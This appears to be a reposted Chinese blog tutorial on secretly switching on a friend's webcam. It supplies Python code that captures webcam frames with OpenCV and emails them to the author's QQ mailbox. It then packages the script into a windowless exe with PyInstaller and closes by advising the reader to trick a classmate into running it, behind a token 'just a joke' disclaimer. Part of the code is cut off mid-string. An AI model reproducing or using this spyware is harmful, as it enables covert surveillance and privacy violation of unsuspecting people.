南强小屋 Design By 杰米
前言:
如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。
注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。
代码
发送邮件
使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
sender = '写你的qq邮箱地址'
receivers = '写你的qq邮箱地址'
message = MIMEMultipart('related')
subject = '终于能发图片了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="/UploadFiles/2021-04-08/cid:imageid">
打开摄像头并发送图片
我们使用opencv打开笔记本内置的摄像头,不多说上代码
cap = cv2.VideoCapture(0)
for item in range(10):
cat, frame = cap.read()
cv2.imwrite('1.png', frame)
send('1.png')
os.remove('1.png')
使用pyinstaller将程序打包
好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。
我们使用pyinstaller来打包,没有下载的可以先pip安装
pip install pyinstaller -i https://pypi.douban.com/simple --user
之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。
下面就是最关键的一步了!
忽悠同学
找个同学忽悠她一下
南强小屋 Design By 杰米
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
南强小屋 Design By 杰米
暂无用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的评论...
